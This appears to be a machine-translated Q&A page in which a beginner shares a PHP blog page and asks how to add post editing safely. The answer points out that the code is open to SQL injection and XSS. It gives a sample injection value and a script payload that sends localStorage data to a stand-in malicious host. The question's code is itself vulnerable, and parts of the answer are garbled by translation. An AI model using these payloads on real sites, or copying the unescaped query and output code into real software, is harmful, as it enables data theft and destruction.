安全地编辑博客文章

Question

所以，我是PHP和SQL的初学者。我正在创建一个简单的博客。我有index.php，您可以在这里发布博客和显示博客文章的blog.php。我希望能够在blog.php上的每个博客文章下添加一个编辑链接。单击此编辑链接后，可以在另一个页面上编辑博客。我想知道在不使用框架的情况下，最安全的方法是什么。下面是blog.php上的代码：

<?php include("session_start.php")?>

<?php

$sql = "SELECT * FROM posts WHERE user_name='$user_name' ORDER BY post_date DESC";

$result = mysqli_query($connection, $sql) or die(mysqli_error($connection));

?>

<html>
    <head>
        <title>Blog</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" >

<!-- Optional theme -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" >

<link rel="stylesheet" href="styles.css" >

<!-- Latest compiled and minified JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

    </head>
    <body>

<div class="container">
  <div class="row"> 

<div class="align-right">  
<a href='index.php'>Post a Blog</a> | <a href='account_settings.php'>Account Settings</a> | <a href='logout.php' onclick="return confirm('Are you sure?')">Logout</a>
</div>  

<h1>Blog</h1>

<?php
while($column = mysqli_fetch_assoc($result)){
?>
<h2><?php echo $column["post_title"]?></h2>
<div class="view-post-content"><?php echo $column["post_content"]?></div>
<p class="category">Category: <?php echo $column["post_category"]?></p>
<p>This post was written <?php echo $column["post_date"]?>.</p>
<?php
}
?>

</div>
</div>

</body>
</html>

<?php include "footer.php";?>

Answer 1

一个词不能说，但是会尝试根据代码示例和一些基本知识进行点击。

1. SQL注入 $sql =“从post_date _name=‘$user_name’ORDER BY post_date DESC的帖子中选择*”； 猜猜发生了什么如果$user_name = "'TRUNCATE posts;"
2. 例如，如果您应该注意到恶意用户可能会注入客户端脚本，那么当您将显示保存的具有如下价值的帖子时，就需要使用XSS (跨站点脚本)： $post =‘哇，酷博客！< script >$.post('h ://malicious.org/’，{localStorage.STOLE_USER_DATA_N_PASSWORDS})< /script>‘
3. 存储安全的数据加密(不要将密码保存在数据库中的raw中)总是将它们加密( http://php.net/manual/en/function.crypt.php )

还有很多其他的事情，甚至提到这一切都将是一本书。但如果你只是玩弄这些提示会对你有帮助。

当然，谷歌，阅读，谷歌.:)